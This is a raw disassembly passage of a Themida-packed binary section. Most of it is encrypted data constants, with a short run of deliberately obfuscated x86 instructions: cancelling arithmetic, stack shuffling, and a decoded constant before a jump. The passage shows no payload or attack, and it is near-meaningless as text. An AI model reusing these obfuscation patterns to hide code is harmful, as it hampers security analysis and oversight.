0F70D8459h, 6C09156Dh, 0A2AD3B4Eh, 17DF5BDFh dd 0F2CD7F5Eh, 560B7E5Ah, 401E580Bh, 3C9BAD8Eh, 17Fh, 0CF373EF2h dd 704DBB5Ch, 535D2621h, 1BA106B8h, 4E7D46B0h, 0D8AFBE56h dd 0A0EA4F75h, 6EA74EE5h, 4E3B9F11h, 48D32BAh, 0D925DD39h dd 0B0E1FDABh, 47BFB646h, 841437C4h, 339EB606h, 7FCDF0F0h dd 0D6F22F5Ah, 57243786h, 0AD971459h, 8D04D921h, 34E93477h dd 7C3FCEBh, 0A0D63B50h, 0C289E8F0h, 1B816371h, 71E509A1h dd 0CEE330Ch, 969171F8h, 4F2EE6CDh, 0B74D70BCh, 0DFACFA12h dd 4BD339B3h, 39459E80h, 0AB598EA8h, 0A0F07B49h, 68B3DECFh dd 5D370A65h, 2FAC5DB9h, 82000000h, 5CCF373Eh, 9A7C0DACh dd 6B4EBA5Dh, 35C70A1Eh, 4871E5A4h, 0AFBE54E3h, 19C6626Dh dd 0A74EE513h, 9F2CBA52h, 9BA881BDh, 0ADB9h, 0BB227500h dd 1AA355D6h, 0EB405177h, 985053C2h, 6D4BCD90h, 51C5081Ch dd 0BCD5E971h, 4FFDE028h, 8900D96Bh, 30ED307Bh, 18794494h dd 2D7BBC67h, 0B409A106h, 1FBE6ADDh, 0BD9F8872h, 0EDD4EB6h dd 0AFB948D5h, 6B124E5Fh, 96B83C4Eh, 0EB060CBh, 9E40C083h dd 9BA03AF3h, 41E3029Ch, 3929Eh, 0F6932800h, 7D14AB2Dh dd 0EBA636C2h, 7910A838h, 0EDA43AC6h, 0E7281432h, 7789BAD7h dd 0DB5D2663h, 48D88BFEh, 0D6631C75h, 0D58A8655h, 0CD529AB8h dd 0D5BC2271h, 542F8E8Ah, 0DB237B33h, 25B345BDh, 912E1964h dd 61CAE02h, 0EF4B76A1h, 0BB222046h, 13AA32D6h, 599C57Eh dd 0A10637A7h, 44714D82h, 9FD65575h, 0DEFE0EBBh, 6FE6A106h dd 0DAE49497h, 0DE9EF281h, 5B66A106h, 28B33426h, 0AFB50C79h dd 82AAAEFFh, 6D9D23F6h, 0F3C937B0h, 0BE460690h, 77AA8DA0h dd 0E8EC4E51h, 0DA4DB5BCh, 0D035A11h, 0B0D9E4B6h, 0FC50F1F4h dd 0E482ED7Fh, 7A000002h, 0E9F72861h, 7888BBD6h, 0E6F22D64h dd 6C6CB7D2h, 62043F52h, 6C25B956h, 0F49525B3h, 7D0CAD2Bh dd 0EAA736C2h, 0BC47A839h, 9AB8D474h, 224FEF3Ch, 0B932D6BBh dd 3D197847h, 0BA850CB1h, 0D03A124Dh, 0ECE0A2B6h, 3D2070FBh dd 0E5E8A106h, 48A8171h, 63D3977h, 83BE01A1h, 0DFD8FB88h dd 5F62AFBDh, 5E0824C9h, 0C547A74Eh, 0F6849239h, 20809BA7h dd 5E000000h, 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 4EE3CCE0h dd 75810BA7h, 0A880C856h, 0CAC49Bh, 229A0000h, 0BDD3A0BBh dd 85A106B7h, 99E1073Ah, 30B84C45h, 0EB45CE8Dh, 0B3A106B7h dd 0DD52D588h, 0C8BE2B08h, 0B4180243h, 69EA9924h, 0E6331D70h dd 78A3DCA1h, 0A106B43Fh, 1902CDCh, 9DF4C915h, 0ADDCFEAAh dd 0FD221417h, 19AFE2FBh, 0AD9E66EDh, 0BEB22DDEh, 0CB94B7AFh dd 0FFDDE269h, 8F5CCF92h, 0B601C452h, 157275D8h, 61A7E972h dd 4C6FAD99h, 7BE0FEEAh, 0FA67CA44h, 4976645Ch, 0AD993147h dd 0AE71AC0Fh, 44058C32h, 0FC54E1AAh, 0C0B417CDh, 56000001h dd 0BD3B0485h, 24B46F22h, 0BA46F998h, 28B86B1Eh, 2648FB96h dd 0A8E9F512h, 38516977h, 0A9E0F907h, 3E536A76h, 0E873F405h dd 9AB8D3A8h, 22132B70h, 8E8AD5BCh, 8521622Fh, 5CCF373Eh dd 9A7C0DACh, 541D8E5Dh, 0A4A7AFBEh, 0E3D1DB80h, 7C10A74Eh dd 80FB5972h, 3DEB9BA8h, 0F506F0A1h, 0D3h, 0D6BB22A9h dd 7D14AA32h, 0BEB50267h, 7A43A106h, 0BCFE12E1h, 36C6A106h dd 0E835E8A9h, 4714A937h, 6BC74BCh, 4C113CA1h, 0FDC54CB8h dd 0DEFBAD0Ah, 28121DABh, 0BEBCF09Bh, 0C21B8DAFh, 0F776BCFh dd 0AC9FE2AFh, 14B0E1FCh, 14082D09h, 17A601Dh, 189A0224h dd 35C77ACCh, 0B19AE7AAh, 1E7FEE2h, 0A736C6B6h, 8ED3DEEAh dd 2C8EFA9Dh, 5784C75Dh, 0AD997659h, 7669A734h, 0E31AD99h dd 9253C70Ah, 4EB9D8E6h, 7593F6E2h, 0D967D02Ah, 5DDD8C05h dd 5EFC549Ch, 0C523CEh, 805B0000h, 0F5CA5609h, 8755E39Ch dd 0F1C7590Ah, 8559E798h, 933530Ch, 0A8DBB608h, 0FC474298h dd 73ACDDFCh, 6395865h, 0A5EB78FBh, 6D9AB8D2h, 0BC221E40h dd 2F8E8AD5h, 22852162h, 0AA32D6BBh, 4FC57E13h, 771AA3D8h dd 0EBB241AAh, 71AFB4E4h, 8B32BA4Eh, 22BB3D06h, 13147461h dd 186CC7CAh, 81A7DA75h, 145545DCh, 7EB93613h, 69008BC4h dd 0FBF76378h, 365B82F3h, 89D2EBEDh, 93F7B6FAh, 0E537E0Ch dd 0A91E81FAh, 1D9A0364h, 48487717h, 100C94A6h, 3B9D49ADh dd 8E2BDD4Eh, 78E2EDFBh, 0CD026554h, 5265D261h, 4CA89241h dd 9665C2C2h, 0C949F9Ah, 0EBFB5F62h, 7484BFD2h, 319C2869h dd 3, 226DB90Dh, 0A434D0B9h, 1C6C7819h, 0B038CCBDh, 21697F0Ah dd 0A830D4BDh, 1D6D7B16h, 0B23ACEBBh, 1961870Ah, 0D93DCBC6h dd 5E08950h, 4, 3304E883h, 4312404h, 24043324h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push eax push 47C62C23h mov eax, [esp] add esp, 4 not eax sub eax, 0B1EBF826h mov ebx, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ebx add dword ptr [esp], 25703FFFh pop dword ptr [esi+8] sub dword ptr [esi+8], 25703FFFh mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5514A4 ; --------------------------------------------------------------------------- db 0C2h dd 0C9EAD3E1h, 8837F381h, 11540D27h, 4DE6B1B8h, 0FFC50306h dd 76D5ABE0h, 50EBB105h, 143EF7Fh, 0A47E120h, 0E68AB67Dh dd 2F48D335h, 0ABA37115h, 92D23E7Fh, 0CA625145h, 0DEE36F7Dh dd 57F6D06Ah, 1802AB54h, 5B520820h, 7F590835h, 900E5F6Fh dd 90B0464Fh, 0CDAFE465h, 7AADC878h, 1454C551h, 0EFE9614h dd 6258630Bh, 88880A56h, 12E85Eh, 23B50000h, 0A179989Ah dd 43B27637h, 21409D3Ah, 3E517F2Eh, 13E960h, 11930000h dd 3D8EC241h, 3CA99A7h, 14B261F5h, 385E1235h, 6129B297h dd 7EC6815Eh, 0BA00006Ch, 0 dd 6616048Bh, 0F081C88Bh, 26E2E36h, 98F081F5h, 60767483h dd 5E9h, 94BF1C00h, 8161A9B2h, 0B76465C0h, 0FABF0F2Eh dd 0D98B6650h, 0E916048Fh, 0Ch, 0B9E1A83Ch, 65C31480h dd 0AABFB25Ah, 78F0Fh, 8B600000h, 1ADE80C1h, 4EA8361h dd 0E64EAEBFh, 44FA8101h, 0FFFFF94h, 1985h, 26E900h, 4DFE0000h dd 5E1664BEh, 47397114h, 3DF268B8h, 50FFD0A3h, 0BF0FB5A8h dd 0FF7EE9D8h, 3208FFFFh, 0DCCEEB47h, 0DD1C1EA7h, 7D0079EBh dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h, 0F0009F89h dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 7873E2ADh, 0E97924B2h dd 0FEDh, 4DEAD668h, 9445E906h, 0DC68FFFAh, 0E9064DEBh dd 0FFFA943Bh, 4DECD968h, 9431E906h, 5A68FFFAh, 0E9064DEEh dd 0FFFA9427h, 4DEF0068h, 941DE906h, 0BD68FFFAh, 0E9064DEFh dd 0FFFA9413h, 4DF07B68h, 9409E906h, 1868FFFAh, 0E9064DF1h dd 0FFFA93FFh, 4DF1E168h, 93F5E906h, 0CF68FFFAh, 0E9064DF2h dd 0FFFA93EBh, 4DF42A68h, 93E1E906h, 8768FFFAh, 0E9064DF6h dd 0FFFA93D7h, 4DF77768h, 93CDE906h, 0E2F2FFFAh, 0E0FD9E96h dd 0E5FB9C94h, 0E8FE9F99h, 0ECE3B49Ch, 21A9B8A0h, 0BD77C39Ch dd 0BF79C59Ch, 0D781CD9Eh, 0D088D486h, 0DACCA0CCh, 5A56149Ch dd 5586377Bh, 72E32F7Bh, 49954A60h, 66022BFEh, 100C5A75h dd 9B350E38h, 0FD42CC35h, 143C885Ah, 2C401B1Dh, 4FC76B3Ah dd 0F0EC17FAh, 0A1DEEA0h, 8458041Dh, 0E5317D53h, 8EDB3E8Dh dd 96917049h, 0F1C84FEh, 10F3E356h, 56A2B7A0h, 0BC9A74CDh dd 5B397B27h, 2F5Ch, 5586F200h, 4CE32F7Bh, 6468D4ECh, 498E9E8Fh dd 6B0942DDh, 560EDEF7h, 13834270h, 69E22E22h, 3F8B5F00h dd 415E61F3h, 0D7255B39h, 0B9000000h, 317D5586h, 166278E5h dd 95466F0Dh, 0F2BFE49h, 0D24D994Eh, 0E661ADA5h, 0DB55A1B9h dd 0C6B214CFh, 1F6B7F4Fh, 98506935h, 0A46ED34Ch, 0D8539FB3h dd 0BBA9BF81h, 8E9E1CAFh, 362B0C49h, 2B3E61EAh, 36EC46DFh dd 934C6DDBh, 61551947h, 0D3560EDEh, 76EE22Ch, 18411F35h dd 0D039F23Eh, 44521E46h, 324FD42Eh, 46014D09h, 37F03C19h dd 49DF3BD2h, 3D667AE6h, 994A7A14h, 27FBB24Dh, 293E1FFBh dd 2D2273DDh, 0C61E51E1h, 8ED9CCBFh, 0D62AFh, 6DB9AB00h dd 6FBB92C3h, 70BC94C5h, 73BF97C8h, 73BF98C9h, 0EF745AC9h dd 0D384ACF8h, 0D98AB2FEh, 0DD7EB602h, 1B7FB905h, 9D8BFBCFh dd 4AA95614h, 1A668108h, 1D698122h, 9D4E6733h, 0B2A9D651h dd 9D84DD66h, 0E95BAB91h, 0B34C420Eh, 77E04FC6h, 360B1460h dd 460A36CFh, 498E9EEDh, 3C886079h, 81CF30F2h, 0C6297FE0h dd 2D470029h, 560F4035h, 0D1320E32h, 5109300Bh, 93035145h dd 0A1560EC0h, 679EB47Eh, 3922EEF1h, 0B2955Bh, 81290000h dd 0D2631B69h, 5A0A5A61h, 0A9A2EEE9h, 0C1DE69C0h, 0C5B995A6h dd 9C4FC6FBh, 54AD76C2h, 42B151AEh, 0CA9ACAAFh, 0F381CA63h dd 4FC769B8h, 41FB471Bh, 62FE4A20h, 25166279h, 0EC51DD29h dd 24706750h, 45EC461Bh, 6B7FDDF3h, 498F5558h, 7AC17B96h dd 0BA96B2CAh, 4FD4B3DBh, 0A992AE51h, 0AEFA62AEh, 58115A55h dd 3BD7FCD7h, 19F9451Ah, 0CCBFBB28h, 5CF95C07h, 0A500000Ch dd 0A8F963AFh, 0A6F761ADh, 0ADEE66B2h, 0AAEB65B1h, 70EF69B5h dd 9EEAE56Ah, 0A0ECE5B6h, 0A8F4E7B8h, 0AFFBEFB0h, 1CD1185h dd 56149E8Dh, 81FA449Fh, 81221A66h, 49331D69h, 221D6981h dd 27115D75h, 0D166276h, 4995466Fh, 1DF94516h, 76DE2A40h dd 0F6078EF3h, 5A766678h, 79C05ADCh, 8F56AFC7h, 1BC0354h dd 17F087F0h, 18F1E5F1h, 0A31CD32Ch, 0E734B11Ah, 0C59CA7F3h dd 0C68AD25Ch, 498EB479h, 679564CBh, 0C5519D4Eh, 94BDB6ADh dd 0D5B587BEh, 0E854ADF9h, 2AF0497h, 0E81A831Ch, 24B1E65Ah dd 0A6BE58B1h, 0D4CAA6BAh, 584188E1h, 52155DB9h, 843B50C2h dd 6DCFA29Dh, 9C85D18Dh, 41D4ACC0h, 0D3844117h, 0E068ADFBh dd 8DCA8D66h, 0D754AB74h, 5636D51Eh, 0A36CF36h, 461F3531h dd 31D831FAh, 0DF82E1D6h, 0D862B062h, 6BB7AB8Ch, 6EBAB0F1h dd 7C4FBDA0h, 4EAF783Dh, 0B5Fh, 0F068B4A8h, 0F26AB6AFh dd 0F16BB7B1h, 0F26AB6B0h, 0F26AB6B1h, 0F1E66B73h, 0F7EAABA5h dd 0FBF0B1ABh, 0FED485AFh, 0CA168AB2h, 149F9006h, 0FD41A456h dd 221D6981h, 69D7ED4Fh, 8EA94E65h, 0E501DA49h, 5FBB8E99h dd 0B2EE66C9h, 0A7BBD189h, 0D168B25Bh, 0CFEB596Fh, 8DA9F5E6h dd 0D6B506E5h, 9249724Fh, 855AFD46h, 0F21BEE39h, 241F0228h dd 16886478h, 164FC6E3h, 5F531FFBh, 84FC6E3h, 6A75EB2Ah dd 1954F145h, 61h, 0ADC0B2CBh, 6C97E3F6h, 8D615C26h, 4FC7AA19h dd 10DF41Bh, 965A863Bh, 4FC6B320h, 984AED14h, 0A46ED34Ch dd 0A795AB8Dh, 8EFA53A3h, 0E27EA149h, 6436A5FEh, 0DB2CDD34h dd 0DCBC9BBEh, 0E945DCAFh, 8561776Ch, 4C68D039h, 560F5658h dd 4F09550Dh, 16115D0Eh, 45914D6Eh, 80B27FAh, 0A77h, 9E95BC6h dd 0D622384Eh, 666AD62Fh, 498B5A28h, 0AE87B55Ch, 97C870BCh dd 90AC77C3h, 0F062B0A7h, 0D927EEC1h, 0FD34FE27h, 37835B3Bh dd 50EC15ECh, 1D267267h, 5E72EA44h, 4FD8D473h, 0D9025EC1h dd 6ADCF001h, 0CA4FC745h, 0C299BC67h, 9EC29E97h, 0D68CCD87h dd 43B5A9C5h, 98774FC7h, 0E163B671h, 4374EA06h, 8FB84FC7h dd 8E778EDAh, 0C0D189B2h, 0C743BAACh, 6E977A4Fh, 9AC24CB5h dd 8F3091D6h, 0BC92C349h, 0F9BBFB6Eh, 39D011D0h, 0ACED42D0h dd 0A3CCCAF5h, 9DEB2h, 0E9352700h, 0EB372E6Fh, 0EC383071h dd 0EF3B1344h, 0EF3B1445h, 6BF0D645h, 6F302874h, 55062E7Ah dd 590A327Eh, 97FB3581h, 0A1077753h, 0CE255614h, 0B31C9684h dd 1D1F4FC6h, 48F34A05h, 15EC60ECh, 4CC62327h, 0C374498Ch dd 0A087C00Ch, 7C732C9h, 71E0788h, 95598559h, 56147E21h dd 3522EC13h, 89F9CF1Dh, 7C261834h, 2B065614h, 0BC76BC00h dd 7E3F765h, 56148F97h, 69B5B095h, 0C1E276C0h, 0E2D498A9h dd 5256148Fh, 84CD56AFh, 0ACC09CB4h, 4FDC8617h, 2D7970D5h dd 18F60FF2h, 0CCB82AC9h, 38D243ECh, 81000009h, 64351F6Bh dd 62331D69h, 693A226Eh, 6637216Dh, 2C2B2571h, 0FA4621A6h dd 0FC482142h, 4500354h, 0B570B4Ch, 4D214D51h, 5614A259h dd 86B6F8DBh, 0F6317D55h, 84560713h, 9A50EF38h, 2947D54Eh dd 116F74EAh, 2F1454F1h, 0AA000004h, 6E4D1D86h, 97D2C488h dd 0BF624FC7h, 3061FA64h, 0CD34EF3Bh, 0E557DA34h, 0F01071CFh dd 5EC6EEEFh, 0DCF06CC6h, 498C4EC9h, 0DB273E27h, 2D251632h dd 342677E1h, 0CF574723h, 70D55613h, 2DD42D79h, 0FF394AF2h dd 0C0E7FD67h, 2B1F4BE7h, 3B561445h, 2CF7431Ah, 1F6B62D5h dd 41C1C13h, 3B7F9458h, 52AD4FDCh, 0B8647BC4h, 8ED36CCh dd 87Bh, 8CC410C4h, 8EC612CBh, 8DC713CDh, 8EC612CCh, 8EC612CDh dd 0DC2478Fh, 13C697C1h, 17CC8DC7h, 1AD091CBh, 2E7266CEh dd 14A22C22h, 0D9E50056h, 0D91B6981h, 2A1BD748h, 0B39F21Bh dd 60EB372Ah, 3A302D09h dd 4E0235EEh, 41164902h, 15EC382Bh, 0CD085E0Ah, 55B0E622h dd 0F13AC4DFh, 35CBF54h, 96570000h, 4FC6B31Ch, 59071D1Fh dd 307C5485h, 5A6D8EE6h, 0C099498Bh, 4DD35FABh, 0ADA596B2h dd 0AB74C097h, 0F763AF56h, 0E5F60CDEh, 0AF9FAB99h, 7D56149Bh dd 90D18BA2h, 0BF0BC4DAh, 0D8849D84h, 0A59EEAFFh, 84CD72BCh dd 0ACC09CB4h, 4FDC9217h, 99DC3AD5h, 14CCB81Eh, 7BDEA4Bh dd 56060000h, 5411520Ah, 590F5008h, 5C72230Dh, 60772810h dd 953D1C14h, 510B5710h, 230D5910h, 1B156172h, 341C687Ah dd 0FE707CA0h, 2E5614A2h, 69818B97h, 5D75221Dh, 0E80E1611h dd 122CB72Dh, 0BB5754F1h, 0EF000002h, 0C6B31C96h, 71D1F4Fh dd 5A3F9559h, 56A7498Bh, 0A70B130Dh, 958BA738h, 0CDA599B5h dd 0DE875613h, 0C168C10Dh, 0C3B3B7A3h, 715613CDh, 0FFD8848Eh dd 60C19FEBh, 1FD6D1D8h, 3B131F55h, 43FC481Ah, 0A364EEEh dd 0DCAB0546h, 3AD8374Fh, 0CCB80DCDh, 209283ACh, 69000007h dd 6C2D2773h, 6A2B2571h, 71322A76h, 6E2F2975h, 14032D79h dd 0E22E29AEh, 0E430297Ah, 0EC382B6Ch, 0F33F1344h, 45095549h dd 5614A451h, 86BE00E3h, 9B9E9D1Dh, 4BE76EE7h, 6B0A580Ah dd 0D355698Dh, 0A1EDE255h, 0CAA0BF88h, 0F2FEE27Eh, 4FC7327Ch dd 80C551B0h, 57A59B1h, 557014Dh, 54F1947Ah, 584E223Eh dd 0DC4FC726h, 134CD935h, 0E2000000h, 677D5586h, 441D2672h dd 33FF62DDh, 1E1E0h, 22969E00h, 4C4FC6B3h, 1F28746Bh dd 61F76348h, 41E8D9E8h, 0EA0242F5h, 0D325727Eh, 0B857498Bh dd 6BB7AB8Ch, 6EBAB0F1h, 0C4DC5CB5h, 3E97D498h, 0A5C54FDCh dd 0CC42D5C9h, 51B8574Fh, 0B8625EC1h, 0EF4E19CCh, 657h dd 0D880CCA0h, 0DA82CE87h, 0D983CF89h, 0DA82CE88h, 0DA82CE89h dd 0E9FE834Bh, 0EFE2B39Dh, 0F3E8B9A3h, 0F6ECADA7h, 22EB2AAh dd 14A478EEh, 1519BC56h, 221D6981h, 33115D75h, 0C858CACAh dd 102A472Ah, 24E0837h, 0F5411649h, 3402D52Ah, 0CEB1CE00h dd 7A25E016h, 0B80439Bh, 15510B57h, 1CFD1EECh, 39D5D0D5h dd 0F197881Bh, 14FB54h, 3F930000h, 126h, 112C8F1h, 0C6B379EDh dd 0AD54BB4Fh, 2396DB61h, 204FC6B3h, 905C0820h, 498B5A4Eh dd 5CC5A37Eh, 6E64C62Eh, 928B0922h, 0D15AA6C1h, 0DD859178h dd 0A29AE6FCh, 0A29DE901h, 0B804E1FAh, 8969DB5Eh, 56A2B6CCh dd 99EA56AFh, 0BFEF1DF1h, 80F6FAD6h, 0B456142Fh, 25AB44Dh dd 38A8C5DEh, 82214CA6h, 919D84D0h, 0DBDE1AD9h, 0EDE3544Fh dd 69AA88A1h, 28CCB8C2h, 5691EFFh, 0A2B20000h, 0A0BDDE56h dd 0A5BBDC54h, 0A8BEDF59h, 0ACA3F45Ch, 6169F860h, 7DB703DCh dd 7FB905DCh, 97C10DDEh, 90C814C6h, 9A0CE00Ch, 9A5614A5h dd 6981F73Bh, 0D2E7A53h, 0E8410A56h, 81590641h, 392E0735h dd 43CF32EDh, 0FCD72FFAh, 0AEC2D387h, 4FC6B3B8h, 0C268B4B1h dd 0CC8EC65Fh, 54F115B7h, 16CCh, 433F6200h, 0F1000000h dd 0B38D01CDh, 809F4FC6h, 71BA06DFh, 81C87E98h, 1B3F1D69h dd 0C6B35F4Fh, 0E832CD4Fh, 0DE2A405Fh, 56AD0365h, 80F6FAE6h dd 0B44FC6B3h, 0BE94C14Dh, 0E6EAD672h, 4FC6B370h, 7DD15DC4h dd 1B9Ah, 69813800h, 118A221Dh, 0FE4FC6B3h, 6DE1B1D2h dd 620662DFh, 0CE4382D8h, 1E68D01Ch, 6B7C5586h, 0C6B2EF5Fh dd 4BE23D4Fh, 2E7C6EEFh, 0A567F769h, 0E07CA5B6h, 0E424E6BFh dd 0D6605260h, 0EEE2D371h, 58B1FDD8h, 0B3C97BBEh, 5AFDB995h dd 0D02F498Bh, 43744874h, 2207408Ch, 149B6056h, 6A63D456h dd 2A2B071Eh, 1344EC38h, 0E138F33Fh, 1B677F5Fh, 8F7A56F2h dd 9D4FD942h, 0DDF5E682h, 0B74AB391h, 5523B534h, 1E3F1723h dd 0D723364Ch, 130CF54Ch, 7AE6FE3Eh, 475D7566h, 65DE4793h dd 0F53A32FCh, 37498F9Dh, 3EA33AD8h, 0E58ECAF5h, 40E70h dd 39855700h, 3B875EFFh, 3C886001h, 3F8B4314h, 3F8B4415h dd 3BC00615h, 3F60D824h, 2576DE2Ah, 297AE22Eh, 676BE531h dd 0A7372743h, 0DEF55614h, 1D6981D4h, 24706233h, 1A667C1Bh dd 2BEA4011h, 0A99762BBh, 86658695h, 6BB7ABACh, 314AFF1h dd 4D6F54F2h, 7000000h, 2CD1E95Bh, 0C3772AE6h, 9EB28E77h dd 498F8948h, 0FED785ACh, 0EBB7A1EDh, 6DC915CAh, 0F778F05h dd 0EF00D256h, 0AAC612C6h, 560F77B4h, 0D4709978h, 949EEAE3h dd 0B2C89BBCh, 8CB8519Dh, 77AA9CB0h, 0A78A560Fh, 6C43B28Bh dd 0FF000003h, 20965A86h, 144FC6B3h, 4AE32F23h, 0E1F749F0h dd 67835783h, 4FC6B2F7h, 7931DA35h, 378777B2h, 4CBFAB87h dd 1C498EB8h, 0E83A2C40h, 4DFA560Eh, 25FC4793h, 11F032FCh dd 25716916h, 1DF84E1Ah, 0BEAAC282h, 9A74C09Dh, 0D235AEC2h dd 18F74FD6h, 0CE75920h, 0C6CE4E40h, 727EDE4Fh, 4FC6CDFCh dd 0D138D130h, 13834773h, 214FC6CEh, 242834FEh, 498EB7AFh dd 95C6A27Dh, 9BA46EBAh, 8C97E3FCh, 0A0AC90DCh, 560EE8AEh dd 0C197A37Eh, 0ACA99202h, 0E163D660h, 5AD19DCBh, 0D44FD6D2h dd 0B4EE0F2Dh, 0B822B29Bh, 1F401822h, 1344FF4Bh, 0F249F33Fh dd 320E3A52h, 3A055109h, 541F4BE7h, 0AA498F2Dh, 0B7A0BC87h dd 0EDE354A0h, 65DD95A1h, 2560F6Eh, 0F117C5DEh, 0B8BD515h dd 15210854h, 750A8043h, 435B39D8h, 342A4012h, 230641E8h dd 2EC93008h, 8DA92FA9h, 41A0h, 0E95B3600h, 825975D3h dd 0EC498E9Eh, 98061745h, 0AD999682h, 0ACC87D99h, 560F58B6h dd 0DC67B3ABh, 0E35CA8BBh, 0B703DD7Eh, 8F469C6Ch, 7A5979E4h dd 0E834310Ah, 2E300A5Fh, 5B39BA91h, 0BAF2h, 69818C00h dd 5A75221Dh, 7062150Eh, 667C1B24h, 0B3057955h, 8274FC6h dd 53174321h, 4FC6B363h, 3B045006h, 55E140E6h, 0B1367501h dd 0C59D4FC6h, 0B6A698B4h, 0AB864FC6h, 0CD56A2B8h, 0F7A38D74h dd 75C10DDEh, 24A4F2E8h, 397A2295h, 0C198937Ah, 0EFFB697Fh dd 498ECC5Ch, 0E2F8EBCCh, 0B27CA5F1h, 0D0A79170h, 0E0EC5870h dd 4FD41BFDh, 4770CC33h, 4B0C4490h, 0C5EA4894h, 0D4CCBF44h dd 1B1AA8Bh, 0EAFA0000h, 0E8E5B69Eh, 0EDE3B49Ch, 0F0E6B7A1h dd 0F4EBACA4h, 29B1B0A8h, 0F55FABA4h, 0F761ADA4h, 0EF69B5A6h dd 0C870BCAEh, 0D2C488D4h, 625614A9h, 66813F83h, 6981221Ah dd 5B49331Dh, 8548D1E9h, 0CAC8CA46h, 12E90563h, 5C498F29h dd 68E26AB5h, 0F9560F59h, 0EC8B94E0h, 0BE0AE0F6h, 0F6CCDC67h dd 0E9C9741Fh, 0B5A6BA2Ah, 70D9529Eh, 0F5972E4h, 0D35FC256h dd 39BBFE81h, 0C8A1BA5Bh, 0D45EC37Ch, 0B053h, 6981EB00h dd 5A75221Dh, 0EB428E44h, 0B1975460h, 0E8FA4FC6h, 0CFE8B49Ch dd 0A881CA16h, 0CD19D18Eh, 273DFF52h, 0B61E3539h, 67D0498Eh dd 0B7FA2571h, 1C50B5DEh, 0B87FB950h, 0F8D47088h, 4FD45676h dd 0CCED5BB6h, 0C599C713h, 7C037E5Ch, 4612E912h, 4FC91D50h dd 12913BE4h, 1751178Fh, 6B2C24EEh, 0EF0A2874h, 0AACCBFEFh dd 0C19C81h, 5A0A0000h, 5875260Eh, 5D73240Ch, 60762711h dd 647B1C14h, 99412018h, 45EF3B14h, 47F13D14h, 3FF94516h dd 58004C1Eh, 62541844h, 0D25614AAh, 6681AFF3h, 0F7A8F918h dd 94466510h, 1048E148h, 0E54F9B4Fh, 1D69819Bh, 475D7522h dd 55194793h, 4FC6B361h, 5BD52CD3h, 87A5DE3Fh, 7DEE7FA3h dd 7EA95FA9h, 2DC6FA6h, 6CC34FB6h, 0C488B4CCh, 498C3FD2h dd 0D384BF62h, 0A995B3FFh, 13BDB1A5h, 929C8356h, 79C59DBEh dd 3E7A6AEh dd 964A36FDh, 8B5E014Ah, 0CE24043Fh, 66BC4CF7h, 0DC283AAFh dd 0E32F2374h, 0D31F3768h, 83421858h, 28105C0Eh, 38845B7Ch dd 5F001AEFh, 11043F8Bh, 3, 811763ADh, 73241F6Bh, 6718135Fh dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh dd 7728236Fh, 7419125Eh, 67B568h, 24348900h, 15B968h, 24148900h dd 310568h, 24048900h, 5CFE6856h, 0F75E3E90h, 0FDE681D6h dd 0C10BFB3Ch, 0EE8104EEh, 0F9C8C871h, 348BF289h, 4C48124h dd 68000000h, 39E8h, 83242489h, 58042404h, 78D168h, 24148900h dd 8C240481h, 8F127652h, 68810840h, 76528C08h, 24048B12h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 89522414h dd 4C281E2h, 83000000h, 148704C2h, 70E95C24h, 9FFFA84h dd 0B052E7A1h, 0AE658F98h, 0F448C6EAh, 0F85DB8E0h, 0C503064Dh dd 8E50E0FFh, 99B0108Bh, 3F764D34h, 0AE75704Bh, 4D3565B3h dd 31893722h, 162271C8h, 1B441879h, 73F61BDEh, 0FCA74DCBh dd 0C6083946h, 35641798h, 4DA85E9Bh, 68590FA2h, 0A80C375Dh dd 0D4092CC0h, 0ED5906FCh, 17B30456h, 0E49655C5h, 4A717FE2h dd 678B7868h, 946E1B69h, 1AD917D1h, 0B0944C5Ah, 91E457DCh dd 13765E9Dh, 0AA7153BBh, 876B648Ah, 28B225F4h, 29261695h dd 0AD4659C1h, 86CD09A0h db 12h, 78h word_59C6F2 dw 8D8Dh ; DATA XREF: Themida_:0053F1C0o dd 64DFA52h, 2C25952Bh, 8D890648h, 6480A19h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EAC35242h, 0E84E2CE3h dd 419D010Bh, 6606480Ah, 0C707E5BBh, 480F3585h, 5F8C06h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 40DABA50h, 870F9C44h, 6, 0CE59589h, 85890648h dd 6482451h, 242585C7h, 648h, 0AE90000h, 34000000h, 81BF2F55h dd 6B32A409h, 55B5FF85h, 6A064818h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BCDC352h dd 480F5195h, 0BD95FF06h, 0F8064820h, 1E85858Bh, 6A0648h dd 306195FFh, 0C08B0648h, 45758EBh, 82F49272h, 0E430309Ch dd 43A85E02h, 0CDC2A6E8h, 234F350Bh, 0FCF83AB4h, 0A598767Dh dd 274E452Ah, 0B20CCC23h, 0CAC4FC91h, 0FF7A5440h, 0BAAF13DAh dd 0DDBBB19Fh, 3428AB30h, 0C620F8DEh, 40226D46h, 8597D33Ch dd 92F9D8F2h, 0D22DD9C9h, 29839FFCh, 0F1356D2Bh, 7DE9A65Ah dd 60000001h, 6C4FFE5Dh, 0D76FC201h, 0EFB4CAD1h, 0E45B7E41h dd 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h dd 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h, 